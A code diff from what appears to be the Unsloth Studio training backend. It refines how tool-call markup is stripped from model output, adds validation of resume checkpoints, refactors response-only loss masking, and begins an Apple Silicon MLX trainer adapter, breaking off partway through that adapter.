+def _strip_closed_blocks_outside_gemma(text: str) -> str:
+    """Closed JSON/function pre-pass that skips matches starting inside a complete
+    Gemma span: deleting across the span boundary would mangle the Gemma close and
+    truncate the tail. A skipped match resumes at the covering span's end, so a
+    real function-XML call after the span is still stripped."""
+    ranges = _gemma_span_ranges(text)
+    if not ranges:
+        return strip_tool_patterns(text, _TOOL_CLOSED_BLOCK_PATS)
+    for pat in _TOOL_CLOSED_BLOCK_PATS:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        out: list[str] = []
+        pos = 0
+        while True:
+            m = pat.search(text, pos)
+            if m is None:
+                out.append(text[pos:])
+                break
+            covering = next((r for r in ranges if r[0] <= m.start() < r[1]), None)
+            if covering is not None:
+                out.append(text[pos : covering[1]])
+                pos = covering[1]
+                continue
+            out.append(text[pos : m.start()])
+            pos = m.end()
+        new_text = "".join(out)
+        if new_text != text:
+            text = new_text
+            ranges = _gemma_span_ranges(text)
+    return text
+
+
+def _strip_markup_segment(
+    text: str,
+    *,
+    final: bool,
+    enabled_tool_names = None,
+) -> str:
+    # Bracket-tag calls (Mistral/rehearsal) first via balanced scan (any nesting depth,
+    # rehearsal name-gated); then the quote-aware Gemma-native passes so a literal
+    # <tool_call|> in an argument cannot truncate a block; finally the regex XML/tail sweeps.
+    text = _strip_bracket_tag_calls(text, enabled_tool_names = enabled_tool_names)
+    text = _strip_closed_blocks_outside_gemma(text)
+    text = _strip_gemma_native_spans(text, final = final)
+    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
+    return apply_tool_strip_patterns(text, patterns, enabled_tool_names = enabled_tool_names)
+
+
+def strip_tool_call_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names = None,
+) -> str:
     """Strip tool-call XML markup from text.
 
     When ``final`` is False, only fully closed tool-call blocks are removed.
     When ``final`` is True, trailing incomplete tool-call blocks are removed
     too, and the result is stripped of surrounding whitespace.
+
+    ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (see
+    ``strip_outside_think``); the trailing-tail patterns apply only after the
+    last block. ``enabled_tool_names`` keeps an inactive-name ``foo[ARGS]{..}``
+    example visible (it is prose, not a call) so display cleanup matches detection.
     """
-    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in patterns:
-        text = pat.sub("", text)
-    return text.strip() if final else text
+    result = strip_outside_think(
+        text,
+        lambda seg, is_last: _strip_markup_segment(
+            seg, final = final and is_last, enabled_tool_names = enabled_tool_names
+        ),
+    )
+    return result.strip() if final else result
diff --git a/studio/backend/core/training/resume.py b/studio/backend/core/training/resume.py
index 2a4a198610..17183484c5 100644
--- a/studio/backend/core/training/resume.py
+++ b/studio/backend/core/training/resume.py
@@ -4,6 +4,8 @@
 """Helpers for validating resumable training outputs."""
 
 import json
+import pickletools
+import zipfile
 from pathlib import Path
 from typing import Optional
 
@@ -33,27 +35,164 @@ def _checkpoint_step(path: Path) -> int:
         return -1
 
 
-def get_resume_checkpoint_path(path_value: str) -> Optional[str]:
+_MODEL_FILES = (
+    "adapter_model.safetensors",
+    "adapter_model.bin",
+    "model.safetensors",
+    "pytorch_model.bin",
+)
+_MODEL_INDEXES = ("model.safetensors.index.json", "pytorch_model.bin.index.json")
+
+
+def _valid_state_file(path: Path, require_tensor: bool = True) -> bool:
+    try:
+        if not path.is_file() or path.stat().st_size == 0:
+            return False
+        if path.suffix == ".safetensors":
+            try:
+                from safetensors import SafetensorError, safe_open
+            except ImportError:
+                return False
+            try:
+                with safe_open(str(path), framework = "np") as state:
+                    return bool(state.keys())
+            except SafetensorError:
+                return False
+        if path.suffix in {".bin", ".pt"}:
+            with zipfile.ZipFile(path) as state:
+                infos = state.infolist()
+                names = [info.filename for info in infos]
+                data_name = next(
+                    (name for name in names if name == "data.pkl" or name.endswith("/data.pkl")),
+                    None,
+                )
+                if data_name is None:
+                    return False
+                data_prefix = data_name.removesuffix("data.pkl") + "data/"
+                operations = list(pickletools.genops(state.read(data_name)))
+                if not operations or operations[-1][0].name != "STOP":
+                    return False
+                if not require_tensor:
+                    return True
+                # Require a non-empty tensor record; a zero-byte one fails torch.load.
+                return any(
+                    info.filename.startswith(data_prefix)
+                    and not info.is_dir()
+                    and info.file_size > 0
+                    for info in infos
+                )
+        # Unrecognized state-file formats are not usable resume state.
+        return False
+    except (OSError, ValueError, zipfile.BadZipFile):
+        return False
+
+
+def _checkpoint_state(path: Path) -> Optional[int]:
+    try:
+        state = json.loads((path / "trainer_state.json").read_text(encoding = "utf-8"))
+        step = state.get("global_step") if isinstance(state, dict) else None
+    except (OSError, UnicodeDecodeError, json.JSONDecodeError):
+        return None
+    if isinstance(step, bool) or not isinstance(step, int) or step < 0:
+        return None
+    directory_step = _checkpoint_step(path)
+    return step if directory_step < 0 or step == directory_step else None
+
+
+_INDEX_SHARD_SUFFIX = {
+    "model.safetensors.index.json": ".safetensors",
+    "pytorch_model.bin.index.json": ".bin",
+}
+
+
+def _valid_indexed_shard(checkpoint: Path, shard: object, expected_suffix: str) -> bool:
+    # Shard must be a relative, in-format path contained in the checkpoint dir.
+    if not isinstance(shard, str) or not shard:
+        return False
+    if Path(shard).is_absolute() or Path(shard).suffix != expected_suffix:
+        return False
+    try:
+        root = checkpoint.resolve(strict = True)
+        candidate = (checkpoint / shard).resolve(strict = True)
+        candidate.relative_to(root)
+    except (OSError, ValueError):
+        return False
+    return _valid_state_file(candidate)
+
+
+def _has_model_state(path: Path) -> bool:
+    if any(_valid_state_file(path / name) for name in _MODEL_FILES):
+        return True
+    for name in _MODEL_INDEXES:
+        try:
+            index = json.loads((path / name).read_text(encoding = "utf-8"))
+            shards = set(index["weight_map"].values())
+        except (
+            AttributeError,
+            OSError,
+            KeyError,
+            TypeError,
+            UnicodeDecodeError,
+            json.JSONDecodeError,
+        ):
+            continue
+        expected_suffix = _INDEX_SHARD_SUFFIX[name]
+        if shards and all(_valid_indexed_shard(path, shard, expected_suffix) for shard in shards):
+            return True
+    return False
+
+
+def is_resume_checkpoint_valid(
+    path: Path,
+    expected_step: Optional[int] = None,
+    backend: Optional[str] = None,
+) -> bool:
+    step = _checkpoint_state(path) if path.is_dir() else None
+    step_valid = step is not None and (expected_step is None or step == expected_step)
+    if backend == "mlx":
+        valid_bundle = _valid_state_file(path / "adapters.safetensors") and _valid_state_file(
+            path / "optimizer_state.safetensors"
+        )
+    else:
+        valid_bundle = (
+            _has_model_state(path)
+            # optimizer/scheduler state can be validly tensor-free (e.g. SGD without
+            # momentum); _has_model_state still requires real model tensors.
+            and _valid_state_file(path / "optimizer.pt", require_tensor = False)
+            and _valid_state_file(path / "scheduler.pt", require_tensor = False)
+        )
+        if backend is None and not valid_bundle:
+            valid_bundle = _valid_state_file(path / "adapters.safetensors") and _valid_state_file(
+                path / "optimizer_state.safetensors"
+            )
+    return step_valid and valid_bundle
+
+
+def get_resume_checkpoint_path(
+    path_value: str, expected_step: Optional[int] = None
+) -> Optional[str]:
     path = resolve_output_dir(path_value)
     if not _is_under_outputs(path) or not path.is_dir():
         return None
-    if (path / "trainer_state.json").is_file():
+    if is_resume_checkpoint_valid(path, expected_step):
         return str(path)
 
-    checkpoints = [
-        child
-        for child in path.glob("checkpoint-*")
-        if child.is_dir() and (child / "trainer_state.json").is_file()
-    ]
-    if not checkpoints:
-        return None
-    return str(max(checkpoints, key = _checkpoint_step))
+    checkpoints = sorted(path.glob("checkpoint-*"), key = _checkpoint_step, reverse = True)
+    return next(
+        (
+            str(checkpoint)
+            for checkpoint in checkpoints
+            if _checkpoint_step(checkpoint) >= 0
+            and is_resume_checkpoint_valid(checkpoint, expected_step)
+        ),
+        None,
+    )
 
 
 def normalize_resume_output_dir(path_value: str) -> str:
     path = resolve_output_dir(path_value)
     if not _is_under_outputs(path):
-        raise ValueError("Resume checkpoint must be inside Studio outputs.")
+        raise ValueError("Resume checkpoint must be inside Unsloth outputs.")
     return str(path)
 
 
@@ -78,9 +217,17 @@ def _uses_s3_dataset(run: dict) -> bool:
 def can_resume_run(run: dict) -> bool:
     if run.get("resumed_later"):
         return False
+    # Set when a stop-and-save failed to write a current-step checkpoint.
+    if run.get("resume_blocked"):
+        return False
     if _uses_s3_dataset(run):
         return False
 
+    status = run.get("status")
+    if status == "error":
+        # A save-time crash can report final_step == total_steps with no artifacts; checkpoint state alone decides resumability.
+        return has_resume_state(run.get("output_dir"))
+
     final_step = run.get("final_step")
     total_steps = run.get("total_steps")
     has_remaining_steps = (
@@ -89,8 +236,4 @@ def can_resume_run(run: dict) -> bool:
         or total_steps <= 0
         or final_step < total_steps
     )
-    return (
-        run.get("status") == "stopped"
-        and has_remaining_steps
-        and has_resume_state(run.get("output_dir"))
-    )
+    return status == "stopped" and has_remaining_steps and has_resume_state(run.get("output_dir"))
diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 20b2305a5a..8e419849cb 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -11,8 +11,10 @@ import os
 import sys
 import types
 
-# Prevent tokenizer parallelism deadlocks when datasets forks.
-os.environ["TOKENIZERS_PARALLELISM"] = "false"
+# Off on Linux so datasets' forked map() workers can't deadlock. On spawn platforms
+# (Windows/macOS) map() runs in-process, so keep the fast tokenizer's Rust threads on
+# (the only parallelism single-process tokenize gets; off makes prep run serially).
+os.environ["TOKENIZERS_PARALLELISM"] = "true" if sys.platform in ("win32", "darwin") else "false"
 
 # Make compiled cache modules importable by any subprocess. On spawn platforms
 # (Windows/macOS) spawned dataset.map() workers re-import top-level modules, and
@@ -62,7 +64,6 @@ from loggers import get_logger
 import time
 from pathlib import Path
 from typing import Any, Dict, List, Optional, Callable
-from dataclasses import dataclass
 import pandas as pd
 from datasets import Dataset
 from utils.datasets.cache_safe import load_dataset_cache_safe as load_dataset
@@ -71,7 +72,7 @@ from core.inference.llama_cpp import _hf_offline_if_dns_dead
 from utils.models import is_vision_model, detect_audio_type
 from utils.models.model_config import _env_offline
 from utils.datasets import format_and_template_dataset
-from utils.datasets import MODEL_TO_TEMPLATE_MAPPER, TEMPLATE_TO_RESPONSES_MAPPER
+from utils.datasets.completion_masking import apply_completion_masking
 from utils.datasets.iterable import is_streaming_dataset as detect_streaming_dataset
 from utils.datasets.raw_text import prepare_raw_text_dataset, resolve_column_names
 from utils.paths import (
@@ -86,6 +87,11 @@ from utils.native_path_leases import child_env_without_native_path_secret
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
+from .training import (
+    TrainingProgress,
+    create_mlx_trainer_adapter,
+    should_use_mlx_training_backend,
+)
 
 logger = get_logger(__name__)
 
@@ -104,31 +110,16 @@ def _build_report_targets(training_args) -> list[str] | str:
     return report_to or "none"
 
 
-@dataclass
-class TrainingProgress:
-    """Training progress tracking"""
-
-    epoch: float = 0
-    step: int = 0
-    total_steps: int = 0
-    loss: Optional[float] = None
-    learning_rate: Optional[float] = None
-    is_training: bool = False
-    is_completed: bool = False
-    error: Optional[str] = None
-    status_message: str = "Ready to train"  # Current stage
-    elapsed_seconds: Optional[float] = None
-    eta_seconds: Optional[float] = None
-    grad_norm: Optional[float] = None
-    num_tokens: Optional[int] = None
-    eval_loss: Optional[float] = None
-
-
 class UnslothTrainer:
     """
     Unsloth Training Backend
     """
 
+    def __new__(cls, *args, **kwargs):
+        if cls is UnslothTrainer and should_use_mlx_training_backend():
+            return create_mlx_trainer_adapter(*args, **kwargs)
+        return super().__new__(cls)
+
     def __init__(self):
         self.model = None
         self.tokenizer = None
@@ -806,7 +797,7 @@ class UnslothTrainer:
                 )
                 logger.info("Loaded text model")
 
-            raise_if_offloaded(self.model, device_map, "Studio training")
+            raise_if_offloaded(self.model, device_map, "Unsloth training")
 
             if self.should_stop:
                 return False
@@ -942,7 +933,7 @@ class UnslothTrainer:
                     use_gradient_checkpointing = "unsloth"
                 elif use_gradient_checkpointing in ("true", "1", "yes"):
                     use_gradient_checkpointing = True
-                elif use_gradient_checkpointing in ("false", "0", "no"):
+                elif use_gradient_checkpointing in ("false", "0", "no", "none", "off"):
                     use_gradient_checkpointing = False
                 else:
                     # Invalid value -> "unsloth"
@@ -3434,15 +3425,19 @@ class UnslothTrainer:
                     logger.info(
                         f"CPT: using UnslothTrainer with embedding_learning_rate={embedding_lr}\n"
                     )
+                    cpt_args = _UnslothTrainingArguments(
+                        embedding_learning_rate = embedding_lr,
+                        **config_args,
+                    )
+                    if config_args.get("packing", False):
+                        cpt_args.packing_strategy = "wrapped"
+                        logger.info("CPT packing strategy: wrapped\n")
                     trainer_kwargs = {
                         "model": self.model,
                         "tokenizer": sft_tokenizer,
                         "train_dataset": dataset["dataset"],
                         "data_collator": data_collator,
-                        "args": _UnslothTrainingArguments(
-                            embedding_learning_rate = embedding_lr,
-                            **config_args,
-                        ),
+                        "args": cpt_args,
                     }
                     if eval_dataset is not None:
                         trainer_kwargs["eval_dataset"] = eval_dataset
@@ -3466,8 +3461,6 @@ class UnslothTrainer:
 
             # ========== TRAIN ON RESPONSES ONLY ==========
             # Raw-text datasets always train on all tokens.
-            instruction_part = None
-            response_part = None
             is_cpt = training_args.get("is_cpt", False)
             train_on_responses_enabled = (
                 False
@@ -3484,113 +3477,93 @@ class UnslothTrainer:
 
             # DeepSeek OCR handles this internally in its collator, so skip
             # Audio VLM handles label masking in its collator, so skip
+            # Markers auto-detected from the chat template first, manual table
+            # as fallback; gpt-oss stays on its manual markers. See
+            # apply_completion_masking.
             if (
                 train_on_responses_enabled
                 and not self.is_audio_vlm
                 and not self.is_audio
                 and not (is_deepseek_ocr or dataset_final_format == "alpaca")
             ):
-                try:
-                    logger.info("Configuring train on responses only...\n")
+                from unsloth.chat_templates import train_on_responses_only
 
-                    # Template mapping for this model
-                    model_name_lower = self.model_name.lower()
+                logger.info("Configuring train on responses only...\n")
 
-                    if model_name_lower in MODEL_TO_TEMPLATE_MAPPER:
-                        template_name = MODEL_TO_TEMPLATE_MAPPER[model_name_lower]
-                        logger.info(f"Detected template: {template_name}\n")
+                def _notify(level, message):
+                    if level == "warning":
+                        logger.warning(message)
+                    else:
+                        logger.info(f"{message}\n")
 
-                        if template_name in TEMPLATE_TO_RESPONSES_MAPPER:
-                            instruction_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name][
-                                "instruction"
-                            ]
-                            response_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name]["response"]
+                # No try/except: the helper handles detection failures and
+                # double misses itself, so an exception here is a real masking
+                # failure that must fail the run, not silently train on full
+                # sequences.
+                self.trainer, masking_applied = apply_completion_masking(
+                    self.trainer,
+                    self.model_name,
+                    train_on_responses_only,
+                    num_proc = config_args["dataset_num_proc"],
+                    notify = _notify,
+                )
 
-                            logger.info(f"Instruction marker: {instruction_part[:50]}...\n")
-                            logger.info(f"Response marker: {response_part[:50]}...\n")
+                if not masking_applied:
+                    train_on_responses_enabled = False
+
+                if masking_applied:
+                    try:
+                        # ── Safety net: check if all samples were filtered out ──
+                        # train_on_responses_only masks non-response tokens with -100; a
+                        # row becomes all -100 (Unsloth drops it) when the response
+                        # template is not found in the formatted text. Usually a
+                        # dataset/template mismatch (already-formatted data, or 'Train on
+                        # completions' on data that doesn't match the model's chat
+                        # template); only sometimes max_seq_length truncating the response
+                        # away. Skip this len()-based check for streaming.
+                        if detect_streaming_dataset(self.trainer.train_dataset):
+                            logger.info("Skipping post-filter length check for streaming dataset\n")
                         else:
-                            logger.info(
-                                f"No response mapping found for template: {template_name}\n"
+                            filtered_len = len(self.trainer.train_dataset)
+                            original_dataset_obj = (
+                                dataset["dataset"] if isinstance(dataset, dict) else dataset
                             )
-                            train_on_responses_enabled = False
-                    else:
-                        logger.info(f"No template mapping found for model: {self.model_name}\n")
-                        train_on_responses_enabled = False
-
-                except Exception as e:
-                    logger.warning(f"Could not configure train on responses: {e}")
-                    train_on_responses_enabled = False
-
-            # Apply train on responses only if we have valid parts
-            if (
-                train_on_responses_enabled
-                and instruction_part
-                and response_part
-                and not self.is_audio_vlm
-                and not self.is_audio
-                and not (is_deepseek_ocr or dataset_final_format == "alpaca")
-            ):
-                try:
-                    from unsloth.chat_templates import train_on_responses_only
-
-                    self.trainer = train_on_responses_only(
-                        self.trainer,
-                        instruction_part = instruction_part,
-                        response_part = response_part,
-                        num_proc = config_args["dataset_num_proc"],
-                    )
-                    logger.info("Train on responses only configured successfully\n")
-
-                    # ── Safety net: check if all samples were filtered out ──
-                    # train_on_responses_only masks non-response tokens with -100;
-                    # a row becomes all -100 (and Unsloth drops it) when the response
-                    # template is not found in the formatted text. That is usually a
-                    # dataset/template mismatch (already-formatted data, or 'Train on
-                    # completions' applied to data that doesn't match the model's chat
-                    # template), and only sometimes max_seq_length truncating the
-                    # response away. Skip this len()-based check for streaming.
-                    if detect_streaming_dataset(self.trainer.train_dataset):
-                        logger.info("Skipping post-filter length check for streaming dataset\n")
-                    else:
-                        filtered_len = len(self.trainer.train_dataset)
-                        original_dataset_obj = (
-                            dataset["dataset"] if isinstance(dataset, dict) else dataset
-                        )
-                        original_len = len(original_dataset_obj)
-                        dropped = original_len - filtered_len
-                        drop_pct = round(100 * dropped / original_len, 1) if original_len > 0 else 0
-
-                        if filtered_len == 0 or drop_pct > 30:
-                            max_seq = training_args.get("max_seq_length", 2048)
-                            error_msg = (
-                                f"{dropped}/{original_len} samples ({drop_pct}%) were "
-                                f"dropped after applying 'Train on completions': after "
-                                f"masking, those rows had no trainable response tokens "
-                                f"left. The usual cause is that this model's response "
-                                f"template was not found in the formatted samples, so "
-                                f"every token was masked out. That typically means the "
-                                f"dataset is already formatted, or its structure does "
-                                f"not match the model's chat template, so 'Train on "
-                                f"completions' should be turned off for this dataset. "
-                                f"Less commonly, a max_seq_length ({max_seq}) shorter "
-                                f"than the prompt can truncate the response away; only "
-                                f"raise it if your samples are actually longer than that."
+                            original_len = len(original_dataset_obj)
+                            dropped = original_len - filtered_len
+                            drop_pct = (
+                                round(100 * dropped / original_len, 1) if original_len > 0 else 0
                             )
-                            logger.error(error_msg)
-                            self._update_progress(error = error_msg, is_training = False)
-                            return
 
-                        if dropped > 0:
-                            logger.info(
-                                f"⚠️ {dropped}/{original_len} samples "
-                                f"({drop_pct}%) were dropped (all labels "
-                                f"masked). {filtered_len} samples remain.\n"
-                            )
-                        logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+                            if filtered_len == 0 or drop_pct > 30:
+                                max_seq = training_args.get("max_seq_length", 2048)
+                                error_msg = (
+                                    f"{dropped}/{original_len} samples ({drop_pct}%) were "
+                                    f"dropped after applying 'Train on completions': after "
+                                    f"masking, those rows had no trainable response tokens "
+                                    f"left. The usual cause is that this model's response "
+                                    f"template was not found in the formatted samples, so "
+                                    f"every token was masked out. That typically means the "
+                                    f"dataset is already formatted, or its structure does "
+                                    f"not match the model's chat template, so 'Train on "
+                                    f"completions' should be turned off for this dataset. "
+                                    f"Less commonly, a max_seq_length ({max_seq}) shorter "
+                                    f"than the prompt can truncate the response away; only "
+                                    f"raise it if your samples are actually longer than that."
+                                )
+                                logger.error(error_msg)
+                                self._update_progress(error = error_msg, is_training = False)
+                                return
 
-                except Exception as e:
-                    logger.warning(f"Failed to apply train on responses only: {e}")
-                    train_on_responses_enabled = False
+                            if dropped > 0:
+                                logger.info(
+                                    f"⚠️ {dropped}/{original_len} samples "
+                                    f"({drop_pct}%) were dropped (all labels "
+                                    f"masked). {filtered_len} samples remain.\n"
+                                )
+                            logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+
+                    except Exception as e:
+                        logger.warning(f"Post-masking dataset size check failed: {e}")
             else:
                 if train_on_responses_enabled and is_deepseek_ocr:
                     logger.info("Train on responses handled by DeepSeek OCR collator\n")
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index f4233fcf04..bfbd11a427 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -14,17 +14,19 @@ import json as _json
 import math
 import multiprocessing as mp
 import os
+import platform
 import queue
 import re
 import shutil
 import threading
 import time
+import traceback
 import structlog
 from datetime import datetime, timezone
 from loggers import get_logger
-from dataclasses import dataclass, field
+from dataclasses import dataclass, field, replace
 from pathlib import Path
-from typing import Optional, Tuple, Any, TYPE_CHECKING
+from typing import Optional, Tuple, Any, Callable, Union, TYPE_CHECKING
 
 if TYPE_CHECKING:
     import matplotlib.pyplot as plt
@@ -37,6 +39,27 @@ from utils.paths import outputs_root
 
 logger = get_logger(__name__)
 
+
+def _env_int(name: str, default: int) -> int:
+    try:
+        raw = (os.environ.get(name) or "").strip()
+        return int(raw) if raw else default
+    except ValueError:
+        return default
+
+
+# Stop-watchdog escalation timeouts. Primary trigger: a short grace once "complete"
+# (save done). Absolute cap is a backstop: long for save=True so a slow save is never
+# killed mid-write, shorter for a cancel that has nothing to save.
+_STOP_GRACE_S = _env_int("UNSLOTH_STUDIO_TRAINING_STOP_GRACE_S", 15)
+_STOP_TIMEOUT_S = _env_int("UNSLOTH_STUDIO_TRAINING_STOP_TIMEOUT_S", 600)
+_CANCEL_TIMEOUT_S = _env_int("UNSLOTH_STUDIO_TRAINING_CANCEL_TIMEOUT_S", 120)
+
+# Watchdog DB finalize: a few short retries so a transient SQLite lock doesn't lose the
+# terminal state, since the watchdog is the sole finalizer once _proc is dropped.
+_DB_FINALIZE_RETRIES = 3
+_DB_FINALIZE_RETRY_S = 0.5
+
 _pyplot = None
 _pyplot_failed = False
 
@@ -98,6 +121,107 @@ def _coerce_optional_nonneg_float(name: str, value):
     return coerced
 
 
+def is_apple_silicon_training_platform() -> bool:
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def is_mlx_training_device(device: Any) -> bool:
+    return (
+        str(device).lower() == "mlx"
+        or str(device).lower().endswith(".mlx")
+        or getattr(device, "name", "").lower() == "mlx"
+    )
+
+
+def should_use_mlx_training_backend(*, device: Optional[Any] = None) -> bool:
+    if device is not None:
+        return is_mlx_training_device(device)
+    return is_apple_silicon_training_platform()
+
+
+def _build_training_worker_config(values: dict[str, Any]) -> dict[str, Any]:
+    """Build the normalized worker config shared by Unsloth and the CLI adapter."""
+    config = {
+        "model_name": values["model_name"],
+        "project_name": values.get("project_name"),
+        "training_type": values.get("training_type", "LoRA/QLoRA"),
+        "hf_token": values.get("hf_token", ""),
+        "load_in_4bit": values.get("load_in_4bit", True),
+        "max_seq_length": values.get("max_seq_length", 2048),
+        "vision_image_size": values.get("vision_image_size"),
+        "hf_dataset": values.get("hf_dataset", ""),
+        "local_datasets": values.get("local_datasets"),
+        "local_eval_datasets": values.get("local_eval_datasets"),
+        "format_type": values.get("format_type", ""),
+        "subset": values.get("subset"),
+        "train_split": values.get("train_split", "train"),
+        "eval_split": values.get("eval_split"),
+        "eval_steps": values.get("eval_steps", 0.00),
+        "dataset_streaming": values.get("dataset_streaming", False),
+        "dataset_slice_start": values.get("dataset_slice_start"),
+        "dataset_slice_end": values.get("dataset_slice_end"),
+        "custom_format_mapping": values.get("custom_format_mapping"),
+        "is_dataset_image": values.get("is_dataset_image", False),
+        "is_dataset_audio": values.get("is_dataset_audio", False),
+        "is_embedding": values.get("is_embedding", False),
+        "num_epochs": values.get("num_epochs", 3),
+        "learning_rate": values.get("learning_rate", "2e-4"),
+        "embedding_learning_rate": values.get("embedding_learning_rate"),
+        "batch_size": values.get("batch_size", 2),
+        "gradient_accumulation_steps": values.get("gradient_accumulation_steps", 4),
+        "warmup_steps": values.get("warmup_steps"),
+        "warmup_ratio": values.get("warmup_ratio"),
+        "max_steps": values.get("max_steps", 0),
+        "save_steps": values.get("save_steps", 0),
+        "weight_decay": values.get("weight_decay", 0.001),
+        "max_grad_norm": values.get("max_grad_norm", 0.0),
+        "max_grad_value": _coerce_optional_nonneg_float(
+            "max_grad_value", values.get("max_grad_value")
+        ),
+        "max_grad_leaf_norm": _coerce_optional_nonneg_float(
+            "max_grad_leaf_norm", values.get("max_grad_leaf_norm")
+        ),
+        "cast_norm_output_to_input_dtype": _coerce_optional_bool(
+            values.get("cast_norm_output_to_input_dtype"), True
+        ),
+        "random_seed": _coerce_seed(values.get("random_seed")),
+        "packing": values.get("packing", False),
+        "optim": values.get("optim", "adamw_8bit"),
+        "lr_scheduler_type": values.get("lr_scheduler_type", "linear"),
+        "use_lora": values.get("use_lora", True),
+        "lora_r": values.get("lora_r", 16),
+        "lora_alpha": values.get("lora_alpha", 16),
+        "lora_dropout": values.get("lora_dropout", 0.0),
+        "target_modules": values.get("target_modules"),
+        "gradient_checkpointing": values.get("gradient_checkpointing", "unsloth"),
+        "use_rslora": values.get("use_rslora", False),
+        "use_loftq": values.get("use_loftq", False),
+        "train_on_completions": values.get("train_on_completions", False),
+        "finetune_vision_layers": values.get("finetune_vision_layers", True),
+        "finetune_language_layers": values.get("finetune_language_layers", True),
+        "finetune_attention_modules": values.get("finetune_attention_modules", True),
+        "finetune_mlp_modules": values.get("finetune_mlp_modules", True),
+        "enable_wandb": values.get("enable_wandb", False),
+        "wandb_token": values.get("wandb_token"),
+        "wandb_project": values.get("wandb_project", "unsloth-training"),
+        "enable_tensorboard": values.get("enable_tensorboard", False),
+        "tensorboard_dir": values.get("tensorboard_dir", "runs"),
+        "resume_from_checkpoint": values.get("resume_from_checkpoint"),
+        "trust_remote_code": values.get("trust_remote_code", False),
+        "approved_remote_code_fingerprint": values.get("approved_remote_code_fingerprint"),
+        "subject": values.get("subject"),
+        "gpu_ids": values.get("gpu_ids"),
+        "s3_config": values.get("s3_config"),
+        "disable_xet": values.get("disable_xet", False),
+    }
+    for key in ("output_dir", "allow_external_output_dir"):
+        if key in values:
+            config[key] = values.get(key)
+    if config["training_type"] == "Full Finetuning":
+        config["load_in_4bit"] = False
+    return config
+
+
 _HF_TMP_CHECKPOINT_RE = re.compile(r"^tmp-checkpoint-\d+$")
 
 
@@ -133,7 +257,7 @@ def _s3_dataset_name(s3_dataset: Any) -> Optional[str]:
     return f"s3://{bucket}/{prefix}" if prefix else f"s3://{bucket}"
 
 
-def _cleanup_cancelled_checkpoints(output_dir: str | os.PathLike) -> None:
+def _cleanup_cancelled_checkpoints(output_dir: Union[str, os.PathLike]) -> None:
     """Remove only HF Trainer ``tmp-checkpoint-<step>/`` partials after a cancel.
 
     Completed ``checkpoint-<int>/`` dirs survive. Symlinked output_dir / children
@@ -183,7 +307,7 @@ PLOT_HEIGHT = 3.5
 
 @dataclass
 class TrainingProgress:
-    """Mirror of trainer.TrainingProgress so the parent never imports heavy ML modules."""
+    """Shared training progress payload for Unsloth and backend-aware trainers."""
 
     epoch: float = 0
     step: int = 0
@@ -200,6 +324,423 @@ class TrainingProgress:
     num_tokens: Optional[int] = None
     eval_loss: Optional[float] = None
     peak_memory_gb: Optional[float] = None
+    output_dir: Optional[str] = None
+
+
+class _MLXTrainerAdapter:
+    """Adapts the legacy UnslothTrainer API to the shared Unsloth MLX worker path."""
+
+    def __init__(self):
+        self.model = None
+        self.tokenizer = None
+        self.trainer = None
+        self.training_thread = None
+        self.training_progress = TrainingProgress()
+        self.progress_callbacks: list[Callable[[TrainingProgress], None]] = []
+        self.is_training = False
+        self.should_stop = False
+        self.save_on_stop = True
+        self.load_in_4bit = True
+        self.output_dir = None
+
+        self.is_cpt = False
+        self.is_vlm = False
+        self.is_audio = False
+        self.is_audio_vlm = False
+        self.model_name = None
+        self.max_seq_length = None
+
+        self._model_config: dict[str, Any] = {}
+        self._peft_config: dict[str, Any] = {}
+        self._dataset_config: dict[str, Any] = {}
+        self._event_queue: Optional[queue.Queue] = None
+        self._stop_queue: Optional[queue.Queue] = None
+        self._pump_thread: Optional[threading.Thread] = None
+        self._lock = threading.Lock()
+
+    def _activate_transformers_for_model(self, model_name: str, hf_token: Optional[str]) -> None:
+        try:
+            from utils.transformers_version import activate_transformers_for_subprocess
+            activate_transformers_for_subprocess(model_name, hf_token)
+        except Exception as exc:
+            logger.warning("MLX trainer adapter Transformers activation failed", error = str(exc))
+
+    def add_progress_callback(self, callback: Callable[[TrainingProgress], None]):
+        self.progress_callbacks.append(callback)
+
+    def _update_progress(self, **kwargs):
+        with self._lock:
+            for key, value in kwargs.items():
+                if hasattr(self.training_progress, key):
+                    setattr(self.training_progress, key, value)
+            progress = self.training_progress
+        for callback in self.progress_callbacks:
+            try:
+                callback(progress)
+            except Exception:
+                pass
+
+    def load_model(
+        self,
+        model_name: str,
+        max_seq_length: int = 2048,
+        load_in_4bit: bool = True,
+        hf_token: Optional[str] = None,
+        is_dataset_image: bool = False,
+        is_dataset_audio: bool = False,
+        trust_remote_code: bool = False,
+        full_finetuning: bool = False,
+        gpu_ids: Optional[list[int]] = None,
+    ) -> bool:
+        self.model_name = model_name
+        self.max_seq_length = max_seq_length
+        self.load_in_4bit = load_in_4bit
+        self._audio_type = None
+        self._activate_transformers_for_model(model_name, hf_token)
+        try:
+            from utils.models import detect_audio_type, is_vision_model
+
+            self._audio_type = detect_audio_type(model_name, hf_token)
+            if self._audio_type == "audio_vlm":
+                self.is_audio = False
+                self.is_audio_vlm = bool(is_dataset_audio)
+                self._audio_type = None
+            else:
+                self.is_audio = self._audio_type is not None
+                self.is_audio_vlm = False
+            vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False
+            self.is_vlm = not self.is_audio_vlm and vision and bool(is_dataset_image)
+        except Exception as exc:
+            logger.warning("MLX trainer adapter model type detection failed", error = str(exc))
+            self.is_vlm = False
+            self.is_audio = False
+            self.is_audio_vlm = False
+        self.model = object()
+        self.tokenizer = object()
+        self._model_config = {
+            "model_name": model_name,
+            "max_seq_length": max_seq_length,
+            "load_in_4bit": load_in_4bit,
+            "hf_token": hf_token or "",
